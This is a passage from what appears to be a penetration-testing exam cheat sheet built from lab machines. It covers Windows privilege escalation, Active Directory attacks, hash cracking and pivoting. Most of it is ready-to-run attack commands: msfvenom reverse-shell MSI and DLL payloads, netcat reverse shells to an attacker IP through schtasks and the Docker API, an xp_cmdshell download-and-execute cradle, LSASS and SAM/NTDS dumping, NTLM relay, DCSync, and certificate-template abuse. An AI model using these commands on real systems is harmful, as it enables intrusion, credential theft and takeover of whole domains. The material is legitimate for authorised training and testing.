runas /user:<user> "<cmd>"
```

Standard `runas` for switching user context when you have valid creds. (DVR4, Craft)

```
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer" /v
AlwaysInstallElevated
reg query "HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer" /v
AlwaysInstallElevated
```

Check for the `AlwaysInstallElevated` misconfig (both HKLM and HKCU must be `0x1`).

```
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f msi -o
malicious.msi
msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi
```

Exploit `AlwaysInstallElevated` — any user can install an MSI with SYSTEM rights. (Shenzi)

```
schtasks /create /tn "privesc" /tr "C:\path\nc.exe -e cmd.exe <attacker_ip>
<port>" /sc onstart /ru "NT AUTHORITY\LOCAL SERVICE"
schtasks /run /tn "privesc"
```

Recover a full/default privilege token for a restricted service account by having the Task Scheduler launch a new process as that principal — the new token includes `SeImpersonatePrivilege` again, enabling PrintSpoofer/GodPotato. (Squid)

```
# DLL hijack via missing system DLL (e.g. tzres.dll under System32\wbem,
loaded by systeminfo)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f dll -o
tzres.dll
copy tzres.dll C:\Windows\System32\wbem\tzres.dll
systeminfo   # triggers the load
```

Drop a malicious DLL at a path Windows looks for but doesn't ship (identified via tooling like `dllref`). (Access)

```
wget
https://github.com/CsEnox/SeManageVolumeExploit/releases/download/public/SeM
anageVolumeExploit.exe
SeManageVolumeExploit.exe
```

Abuse `SeManageVolumePrivilege` to gain full control (and thus write access) over `C:\Windows\System32`. (Access)

```
wget https://github.com/ohpe/juicy-
potato/releases/download/v0.1/JuicyPotato.exe
```

See CLSID note above — `SeImpersonatePrivilege` abuse tool set for older Windows.

```
whoami /priv
```

Check for `SeDebugPrivilege`, `SeBackupPrivilege`, `SeRestorePrivilege`, `SeTakeOwnershipPrivilege`, `SeImpersonatePrivilege` — each has a distinct escalation path below.

```
# SeDebugPrivilege — dump LSASS, extract creds offline
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
# or, with mimikatz already on target:
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
```

```
# offline parse of a procdump'd lsass.dmp on Kali (no need to run mimikatz
on target)
```

```
pypykatz lsa minidump lsass.dmp
```

`SeDebugPrivilege` lets you attach to any process — dump LSASS with procdump (avoids AV flagging mimikatz itself) then parse the minidump offline with pypykatz for cleartext creds/NT hashes.

```
# SeBackupPrivilege / SeRestorePrivilege — read any file bypassing ACLs
reg save hklm\sam C:\temp\sam
reg save hklm\system C:\temp\system
reg save hklm\security C:\temp\security
robocopy /b C:\Windows\NTDS C:\temp\ntds NTDS.dit    # on a DC, if
SeBackupPrivilege holds
```

```
impacket-secretsdump -sam sam -system system -security security LOCAL
```

`SeBackup` / `SeRestore` bypass file ACLs entirely — dump SAM/SYSTEM/SECURITY (or NTDS.dit on a DC) even as a low-priv account that holds the privilege, then parse offline.

```
# SeTakeOwnershipPrivilege — seize ownership of a protected file/service
binary
takeown /f C:\Windows\System32\utilman.exe
icacls C:\Windows\System32\utilman.exe /grant <user>:F
copy cmd.exe utilman.exe
# lock screen, click Ease of Access -> SYSTEM cmd.exe pops
```

Take ownership of a SYSTEM-run binary you couldn't otherwise touch, replace it, trigger it (classic sticky-keys/utilman swap works pre-login on RDP/console).

```
# UAC bypass — fodhelper (no admin prompt, works when integrity is medium
but user is local admin)
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /d
"C:\path\shell.exe" /f
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v
"DelegateExecute" /f
fodhelper.exe
```

Registry-hijack UAC autoElevate for `fodhelper.exe` to run a payload at High integrity without a prompt — only useful when current user is already in local Administrators but running medium-integrity.

```
# RDP session hijack (SYSTEM required to run tscon without a password)
query user
tscon <session_id> /dest:<current_session_name>
```

Hijack another logged-on user's RDP session with no password if you already have SYSTEM (e.g. via PsExec/potato) — instantly takes over their desktop session.

```
wget
https://github.com/BeichenDream/GodPotato/releases/download/V1.20/GodPotato-
NET4.exe
```

See main GodPotato entry above — the general first-choice tool whenever `SeImpersonatePrivilege` shows in `whoami /priv`.

---

9. Active Directory

Enumeration

```
smbclient -L //<dc> -N
nxc smb <dc> --shares
rpcclient -U "" -N <dc>
```

Null-session enumeration works surprisingly often on legacy/AD-CS lab DCs. (Active, Forest, Hokkaido)

```
wget
https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_linux_a
md64
./kerbrute userenum -d <domain> --dc <dc_ip> <username_wordlist>
```

Kerberos pre-auth username enumeration/brute force — works even without any creds. (Hokkaido)

```
bloodhound-python -d <domain> -u <user> -p '<pass>' -dc <dc_ip>
bloodhound-python -u "<user>" -p '<pass>' -d <domain> -c all --zip -ns
<dc_ip>
```

Collect AD relationship data with valid creds (or via SharpHound uploaded to a compromised host — see below).

```
iex(new-object
net.webclient).downloadstring("http://<attacker>/SharpHound.ps1")
Invoke-WebRequest -Uri "http://<attacker>/SharpHound.ps1" -OutFile
"C:\path\SharpHound.ps1"
Invoke-Bloodhound -CollectionMethod All -Domain <domain> -LdapUser <user> -
LdapPass <pass> -OutputDirectory C:\path\
```

Run SharpHound from an already-compromised Windows host (note: `-OutputDirectory` is required or no zip is produced), then `download <file>` it back via evil-winrm. (Forest)

```
bloodhound-setup
neo4j
sudo runuser -u postgres -- psql -c 'ALTER DATABASE postgres REFRESH
COLLATION VERSION; ALTER DATABASE template1 REFRESH COLLATION VERSION;'
```

Fix common BloodHound CE / Kali PostgreSQL collation-mismatch startup errors. (Forest, Hokkaido)

```
sudo apt install docker-compose docker.io
sudo groupadd docker
sudo usermod -aG docker $USER
newgrp docker
curl -L https://ghst.ly/getbhce -o docker-compose.yml
docker-compose pull && docker-compose up -d
docker-compose logs bloodhound | grep -i passw
# visit http://localhost:8080/
```

Stand up BloodHound CE via its official docker-compose bundle; the generated admin password is printed in the container logs on first run. (ADChain_01)

```
netexec ldap <dc_ip> -u '<user>' -p '<pass>' --bloodhound --collection All -
-dns-server <dc_ip>
```

Collect BloodHound data straight from Kali via NetExec instead of running SharpHound on a compromised host — uploads a zip ready for BHCE ingestion. Note: if using BloodHound CE, disable legacy BH support in `~/.nxc/nxc.conf` first. (ADChain_01)

```
netexec ldap <dc_ip> -u '<user>' -p '<pass>' --users | fgrep -v '[' | fgrep
-vi '-Username-' | awk '{print $5}' | tee users
```

Pull the full domain username list over LDAP with valid creds, stripped down to a plain wordlist for spraying. (ADChain_01)

LLMNR/NBT-NS Poisoning & NTLM Relay

```
sudo responder -I <interface> -dPv
```

Poison LLMNR/NBT-NS/MDNS broadcast name resolution — captures NetNTLMv2 hashes from any host that mistypes a share name or has a stale DNS entry, zero creds needed. Often the fastest first foothold on an AD network. Crack the captured hash with `hashcat -m 5600`.

```
netexec smb <ip_range> --gen-relay-list relay_targets.txt
```

Before relaying, confirm which hosts have SMB signing disabled (`netexec smb` already flags `signing:False` in its normal output) — relay only works against non-signing targets.

```
sudo responder -I <interface> -dPv --lm   # in a separate terminal, disable
Responder's own SMB/HTTP servers via config first
impacket-ntlmrelayx -tf relay_targets.txt -smb2support
```

Relay captured NTLM auth to hosts with SMB signing off instead of cracking the hash — `ntlmrelayx` needs Responder's SMB server disabled in `Responder.conf` first (both can't bind port 445). Successful relay to a signing-disabled host with local admin rights gives an immediate SAM dump or shell.

```
impacket-ntlmrelayx -tf relay_targets.txt -smb2support -c 'whoami'
```

Relay straight to command execution instead of just a SAM dump, once you've confirmed the relayed account has admin rights on the target.

GPP / Credential Extraction

```
gpp-decrypt '<cpassword value from Groups.xml>'
```

Decrypt a Group Policy Preferences `cpassword` found on a SYSVOL/Replication share — the AES key is publicly known (MS14-025). (Active)

Kerberoasting / AS-REP Roasting

```
impacket-GetNPUsers <domain>/ -usersfile users.txt -dc-ip <dc_ip> -request
for user in $(cat users.txt); do impacket-GetNPUsers -no-pass -dc-ip <dc_ip>
<domain>/${user} | grep -v Impacket; done
```

AS-REP Roast accounts with `UF_DONT_REQUIRE_PREAUTH` set — no creds needed. (Forest)

```
impacket-GetUserSPNs <domain>/<user>:<pass>@<dc_ip> -dc-ip <dc_ip> -request
-outputfile kerberoast_hashes.txt
```

Kerberoast all SPN-registered accounts with valid domain creds; `-dc-ip` is often required even when the domain resolves fine. (Access, Forest)

```
git clone https://github.com/ShutdownRepo/targetedKerberoast
python targetedKerberoast.py -v -d '<domain>' -u '<user>' -p '<pass>' --dc-
ip <dc_ip>
```

Kerberoast a specific target account you have `GenericWrite` on (sets a fake SPN temporarily), instead of every SPN account in the domain. (Hokkaido)

```
Rubeus.exe kerberoast /outfile:hashes.txt
Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt
Rubeus.exe tgtdeleg
Rubeus.exe ptt /ticket:<base64_ticket>
Rubeus.exe renew /ticket:<base64_ticket>
```

On-host C# equivalent of GetUserSPNs/GetNPUsers when running from an already-compromised Windows box — `ptt` (pass-the-ticket) injects a TGT/TGS straight into the current logon session for immediate use.

```
hashcat -O -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt --show
```

Crack Kerberoast (TGS-REP) hashes. (Active, Forest, Hokkaido)

```
hashcat -m 18200 hash.txt /usr/share/wordlists/rockyou.txt --force --show
```

Crack AS-REP roast hashes. (Forest)

Lateral Movement / Shell Access

```
evil-winrm -i <ip> -u '<user>' -p '<pass>'
```

WinRM shell when the account has `Remote Management Users`/admin rights. (Forest)

```
nxc winrm <ip> -u '<user>' -p '<pass>'
```

Check WinRM access before spending time on evil-winrm — `(Pwn3d!)` in the output confirms admin-equivalent access. (Forest)

```
impacket-psexec <user>@<domain>
```

PSExec-style SMB admin shell (SYSTEM) once you have local admin creds — used as the final step after cracking a Kerberoast hash for Administrator. (Active)

Password Spraying

```
netexec smb ips -u users -p pass --continue-on-success
netexec rdp ips -u users -p pass --continue-on-success
netexec winrm ips -u users -p pass --continue-on-success
```

Spray a username list against a password list across every live host (`ips`), for SMB/RDP/WinRM in turn; `--continue-on-success` keeps testing remaining user/host combos instead of stopping at the first hit. WinRM hits are the most valuable — they mean an interactive shell. (ADChain_01)

```
netexec smb <dc_ip> -u users.txt -p '<single_password>' --continue-on-
success
```

Lockout-safe spray: one password against ALL users, not one user against many passwords — check domain lockout threshold first (`net accounts /domain` or bloodhound `Domain` node) and always leave a wide margin (e.g. only 1 attempt per 30 min if threshold is 5) to avoid locking out every account in the domain.

Credential Dumping — SAM / LSA / NTDS via NetExec

```
reg save hklm\sam c:\temp\sam
reg save hklm\system c:\temp\system
# then, from evil-winrm:
download sam
download system
```

Manually dump the local SAM/SYSTEM registry hives by abusing `SeBackupPrivilege` (visible in `whoami /all`), then pull them back to Kali. (ADChain_01)

```
impacket-secretsdump -system system -sam sam local
```

Offline-parse a locally dumped SAM+SYSTEM pair into NT hashes without touching the network. (ADChain_01)

```
netexec smb ips -u '<user>' -p '<pass>' --local-auth
```

Auth as a local (non-domain) account recovered from a SAM dump — `--local-auth` is required or NetExec will try to authenticate it against the domain and fail. (ADChain_01)

```
netexec smb ips -u '<user>' -p '<pass>' --sam
netexec smb ips -u '<user>' -p '<pass>' -M lsassy
netexec smb ips -u '<user>' -p '<pass>' --lsa
netexec smb ips -u '<user>' -p '<pass>' --ntds
```

Remote credential dumping with an admin/local-admin session — `--sam` (local SAM), `-M lsassy` (LSASS via a NetExec module), `--lsa` (LSA secrets / cached domain creds, i.e. DCC2/mscash2 hashes), `--ntds` (full domain NTDS.DIT dump from a DC — equivalent to secretsdump `-just-dc`). (ADChain_01)

```
haiti '$DCC2$10240#<user>#<hash>'
```

Identify an unknown hash format (e.g. confirms `$DCC2$...` as Domain Cached Credentials 2 / mscash2, hashcat mode 2100, JtR format `mscash2`) before picking a cracking mode. (ADChain_01)

```
john --wordlist=/usr/share/wordlists/rockyou.txt hashes_lsa.txt
```

Crack DCC2/mscash2 cached-credential hashes pulled via `--lsa` — John auto-detects the `$DCC2$` format. (ADChain_01)

Pass-the-Hash

```
netexec smb <dc_ip> -u administrator -H '<ntlm_hash>'
netexec smb <dc_ip> -u administrator -H '<ntlm_hash>' -X whoami
```

Authenticate with a raw NTLM hash (no cracking needed) once an NTDS/SAM dump yields the Administrator hash; `-X` runs a command remotely to confirm code exec. (ADChain_01)

```
impacket-psexec <domain>/administrator@<dc_ip> -hashes :<ntlm_hash>
```

Pass-the-hash PSExec — full SYSTEM shell on the DC using only the NTLM hash, no plaintext password required. (ADChain_01)

Privilege / ACL Abuse

```
net user <newuser> <newpass> /add /domain
net group "<group>" <user> /add /domain
```

Create a domain user and add it to a group you (or a compromised account) have `GenericWrite` / `GenericAll` over — e.g. adding into `Exchange Windows Permissions` for its `WriteDACL` on the domain object. (Forest)

```
pipx install bloodyad
bloodyAD --host <dc_ip> -d <domain> -u <user> -p '<pass>' add dcsync 'DC=
<domain>,DC=com'
bloodyAD --host <dc_ip> -d <domain> -u <user> -p '<pass>' get object 'CN=
<user>,CN=Users,DC=<domain>,DC=com'
```

Attempt to grant DCSync rights via ACL write, then confirm the resulting SID. (Forest — inconsistent results)

```
impacket-secretsdump <domain>/<user>:<pass>@<dc_ip> -just-dc-ntlm
```

DCSync dump of NTLM hashes once an account has `Replicating Directory Changes` rights. (Forest, Hokkaido — attempted)

```
impacket-secretsdump <domain>/<user>:<pass>@<dc_ip> -just-dc
```

Full DCSync — NTLM hashes AND Kerberos keys AND cleartext-reversible creds for every domain principal, dumped straight over the wire (no reg save/local copy needed). The go-to once any account has `Replicating Directory Changes` + `Replicating Directory Changes All`.

```
mimikatz # lsadump::dcsync /domain:<domain> /user:<domain>\krbtgt
```

Same DCSync attack run locally from mimikatz on a compromised domain-joined host instead of impacket from Kali — useful when only interactive access exists (e.g. `krbtgt` hash grab for a Golden Ticket).

```
# Constrained/unconstrained delegation abuse
impacket-getST -spn <target_spn> -impersonate administrator
'<domain>/<delegation_account>:<pass>'
export KRB5CCNAME=administrator.ccache
impacket-psexec -k -no-pass <domain>/administrator@<target_host>
```

If a service account has `TRUSTED_TO_AUTH_FOR_DELEGATION` (constrained delegation) to a target SPN, request a service ticket impersonating Administrator (S4U2Self/S4U2Proxy) and use it directly — no password/hash for Administrator needed.

```
# AD CS (Active Directory Certificate Services) misconfig — ESC1/ESC8
pip install certipy-ad
certipy find -u '<user>@<domain>' -p '<pass>' -dc-ip <dc_ip> -vulnerable
certipy req -u '<user>@<domain>' -p '<pass>' -ca '<CA_name>' -target <dc_ip>
-template '<vulnerable_template>' -upn administrator@<domain>
certipy auth -pfx administrator.pfx -dc-ip <dc_ip>
```

ESC1 — enroll a cert as any user (including Administrator) via a misconfigured template that allows client-supplied SAN + client auth EKU; `certipy auth` exchanges the resulting cert for the account's NTLM hash/TGT. Enumerate first — AD CS misconfigs are one of the most common modern AD privesc paths.

```
certipy relay -target 'http://<ca_host>/certsrv/certfnsh.asp' -template
DomainController
```

ESC8 — NTLM relay to the AD CS web enrollment endpoint (HTTP, unsigned) to get a machine/DC certificate from a coerced authentication (e.g. via PetitPotam/PrinterBug).

```
rpcclient -U '<user>%<pass>' <dc_ip>
setuserinfo2 <TARGET_USER> 24 '<newpass>'
```

Force-reset another user's password over RPC using a `ForceChangePassword` ACL edge (level `24` = force change, no old password needed; level `23` requires the old password). (Hokkaido)

```
impacket-addcomputer -dc-ip <dc_ip> -domain <domain> -computer-name
'<NAME>$' -computer-pass '<pass>' '<domain>/<user>:<pass>'
```

Add a machine account to the domain (useful for RBCD/Shadow Credential attacks when the acting user has `ms-DS-MachineAccountQuota`). (Hokkaido)

```
pip install pywhisker
pywhisker -d <domain> -u '<user>' -p '<pass>' --dc-ip <dc_ip> --target
'<TARGET>$' --action add
```

Shadow Credentials attack — add a certificate-based "shadow" credential to a target account for direct auth (requires `GenericWrite` on target — failed here due to insufficient rights). (Hokkaido — stuck)

MSSQL as an AD attack vector

```
impacket-mssqlclient -windows-auth <domain>/<user>:<pass>@<dc_ip>
```

Connect to MSSQL with domain creds via Windows auth.

```
SELECT IS_SRVROLEMEMBER('sysadmin');
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
SELECT distinct b.name FROM sys.server_permissions a INNER JOIN
sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE
a.permission_name = 'IMPERSONATE';
EXECUTE AS LOGIN = '<impersonatable_login>';
SELECT * FROM <db>.INFORMATION_SCHEMA.TABLES;
```

Enumerate MSSQL role membership and impersonation rights, then use `EXECUTE AS LOGIN` to pivot to a more privileged SQL login and read tables containing plaintext creds. (Hokkaido)

```
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'powershell -c "IEX(New-Object
Net.WebClient).DownloadString(''http://<attacker_ip>/shell.ps1'')"';
```

Once `sysadmin`, enable and abuse `xp_cmdshell` for direct OS command execution — the standard MSSQL-to-RCE path (runs as the SQL Server service account, often `NT SERVICE\MSSQLSERVER` or a domain service account with further AD rights).

RDP

```
xfreerdp /cert:ignore /dynamic-resolution +clipboard /u:'<user>' /p:'<pass>'
/v:<host>
rdesktop -u <user> -p <pass> <host>:3389
```

RDP client one-liners once you have valid domain/local creds. (Hokkaido, Nickel, Fish)

---

10. Password Cracking

```
sudo gunzip /usr/share/wordlists/rockyou.txt.gz
```

Unzip rockyou before first use on a fresh Kali install (almost every box).

```
hashcat -m 13100 <hashfile> /usr/share/wordlists/rockyou.txt --show
```

Kerberoast (TGS-REP) hashes. (Active, Forest, Hokkaido)

```
hashcat -m 18200 <hashfile> /usr/share/wordlists/rockyou.txt --force --show
```

AS-REP roast hashes. (Forest)

```
hashcat -m 1800 '<sha512crypt_hash>' /usr/share/wordlists/rockyou.txt --show
```

`/etc/shadow` SHA-512 crypt hashes (`$6$...`). (Wheels)

```
hashcat -O -m 0 <hashfile> /usr/share/wordlists/rockyou.txt
```

Raw unsalted MD5. (Monster — insufficient, salt was needed)

```
hashcat -O -m 2600 <hashfile> --wordlist /usr/share/wordlists/rockyou.txt -r
rule.txt --show
```

Double-MD5 with a static application salt appended via a hashcat rule file (`$<salt>` rule) — used when a CMS (Monstra) concatenates a hardcoded salt before hashing. (Monster)

```
hashcat -m 400 ./hashes /usr/share/wordlists/rockyou.txt --show
```

WordPress/phpass portable hashes (`$P$...`). (Workaholic)

```
hashcat -m 3600 -a 0 secret.hash /usr/share/wordlists/rockyou.txt
hashcat -m 1500 -a 0 secret.hash /usr/share/wordlists/rockyou.txt
```

Zip-crypto (`-m 3600`) then classic DES `crypt()` (`-m 1500`) tried against a stolen VNC/zip secret. (Poison)

```
john <hashfile> --wordlist=/usr/share/wordlists/rockyou.txt --show
```

General-purpose John cracking — used against a Kerberoast hash, an `.htpasswd` (APR1-MD5), and a PDF hash. (Access, AuthBy)

```
john --format=NT --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
```

Crack local SAM NT hashes recovered via `SeBackupPrivilege` reg-save + `secretsdump -sam -system local`. (ADChain_01)

```
pdf2john Infrastructure.pdf > Infrastructure.hash
john Infrastructure.hash --wordlist=/usr/share/wordlists/rockyou.txt
```

Crack a password-protected PDF. (Nickel)

```
echo -n '<base64_string>' | base64 -d
```

Decode base64-encoded credentials found in leaked config/process listings (e.g. a `DevTasks.exe` commandline argument). (Nickel)

---

11. Post-Exploitation / Persistence / Pivoting

```
ssh -L <local_port>:127.0.0.1:<remote_port> <user>@<host>
vncviewer -passwd ./secret localhost:<local_port>
```

SSH local port-forward to reach a service (VNC) only bound to the victim's loopback interface; a stolen binary VNC "secret" file can be passed directly to `vncviewer -passwd`. (Poison)

```
ssh -D 1080 <user>@<host>
```

SSH dynamic (SOCKS) proxy — pair with `proxychains` below to route arbitrary tools through a pivot box, instead of setting up one static `-L` forward per port.

```
sudo sshuttle -r <user>@<pivot_host> 10.10.10.0/24
```

Transparent VPN-like pivot over SSH — routes an entire subnet through the compromised host with no per-port forwarding and no proxychains wrapping needed; simplest option when SSH is available on the pivot.

```
# chisel — attacker (Kali) runs the server, victim runs the client
./chisel server -p 8000 --reverse
# on victim:
chisel.exe client <attacker_ip>:8000 R:socks
```

Reverse SOCKS pivot through a victim with no inbound firewall exceptions needed — victim dials out to Kali, Kali gets a SOCKS5 proxy into the victim's internal network. `R:<local_port>:<remote_host>:<remote_port>` for a specific reverse port forward instead of full SOCKS.

```
# ligolo-ng — attacker runs proxy, victim runs agent
./proxy -selfcert
# on victim:
agent.exe -connect <attacker_ip>:11601 -ignore-cert
# in proxy console:
session
start
ip route add 10.10.10.0/24 dev ligolo
```

Modern tun-interface pivot (faster/more stable than chisel for full subnet routing) — creates a real network interface on Kali so any tool (nmap, etc.) works natively against the pivoted subnet, no proxychains needed.

```
socat TCP-LISTEN:<local_port>,fork TCP:<internal_target>:<internal_port>
```

Simple relay when netcat/ssh forwarding isn't available — run on a pivot box to bridge attacker traffic to an internal-only host/port.

```
# /etc/proxychains4.conf
socks5 127.0.0.1 1080
```

```
proxychains nmap -sT -Pn <internal_target>
proxychains impacket-psexec <domain>/<user>:<pass>@<internal_target>
```

Route any TCP tool through an established SOCKS proxy (SSH `-D`, chisel, etc.) — remember `-sT` / `-Pn` for nmap since proxychains can't do raw SYN scans.

```
netsh interface portproxy add v4tov4 listenport=<local_port>
listenaddress=0.0.0.0 connectport=<remote_port> connectaddress=
<internal_target>
netsh interface portproxy show all
```

Windows-native port forward — pivot through a compromised Windows box without dropping any extra tooling on disk.

```
plink.exe -ssh -R <remote_port>:127.0.0.1:<local_port> <user>@<attacker_ip>
-pw <pass>
```

Windows-side SSH reverse tunnel using PuTTY's `plink` when no other pivot tooling can be uploaded — dials out from Windows to an SSH server on the attacker box.

```
curl http://<docker_api_host>:2375/version
curl -X POST -H "Content-Type: application/json" \
  --data '{"Image":"alpine:latest","HostConfig":{"Binds":
["/:/mnt/root"],"Privileged":true},"Cmd":["sh","-c","nc <attacker_ip> <port>
-e sh"]}' \
  http://<docker_api_host>:2375/containers/create
curl -X POST http://<docker_api_host>:2375/containers/<id>/start
```

Docker Engine API exposed without auth — create a privileged container that bind-mounts the host root (`/` → `/mnt/root`) to read/write host files or spawn a reverse shell as root, escaping a WSL2 Docker sandbox. (MonitorsFour)

```
net user <user> /domain
net group /domain
net group "<group>" <user> /add /domain
```

Enumerate/modify domain group membership from an already-compromised low-priv AD account to walk a BloodHound-identified privesc path. (Forest)

```
New-Item -ItemType Junction -Path "C:\Users\<user>\MountPoint" -Target
"C:\Windows\Microsoft.NET\Framework\v4.0.30319"
```

NTFS junction abuse — trick a privileged process (antivirus quarantine/restore) into writing an attacker-controlled file into a protected system directory. (Fish)

```
wget https://github.com/windowsoffender/compiled_binaries   # SharpWSUS.exe
```

Attempted to abuse local `WSUS Administrators` group membership via SharpWSUS to push a malicious update package as SYSTEM; blocked by Windows Defender in practice. (Hokkaido — stuck)

```
xfreerdp /cert:ignore /u:'<user>' /p:'<pass>' /v:<host> +clipboard
```

RDP back in as a newly-created/escalated user to collect further loot or pivot further (clipboard sharing enabled for easy file/text transfer). (Hokkaido, Nickel)

```
net localgroup "administrators" <domain_user> /add
```

Once RDP'd in as a local admin (e.g. via a cracked local-account password), add your existing domain account to the local Administrators group — instantly gives that domain account admin-equivalent SMB/WinRM access to the box for further dumping. (ADChain_01)

---

12. Proof Collection

Run this on every root/SYSTEM shell the moment it lands — a missing or malformed proof is a zero-point machine no matter how good the exploit chain was.

```
hostname && whoami && cat /proof.txt
ifconfig || ip a
```

Linux root proof — `hostname` + `whoami` + `cat proof.txt` must all appear together in one screenshot/terminal capture, plus network interface output showing the lab-assigned IP.

```
hostname && whoami && type C:\Users\Administrator\Desktop\proof.txt
ipconfig /all
```

Windows SYSTEM/Administrator proof — same rule: `hostname`, `whoami`, and the `type`'d proof.txt contents in one shot, plus `ipconfig /all`.

- Capture proof **immediately** on privesc — don't chain further actions first; a session can die before you screenshot.
- Screenshot must show the full terminal/shell (prompt, command, output) — cropped or partial captures get rejected.
- Local vs domain admin on AD boxes: grab proof on **every** machine compromised (DCs and non-DC members each need their own local.txt/proof.txt), not just the DC.

- Keep raw command output in notes.md alongside the screenshot — the report needs both the image and the pasted text.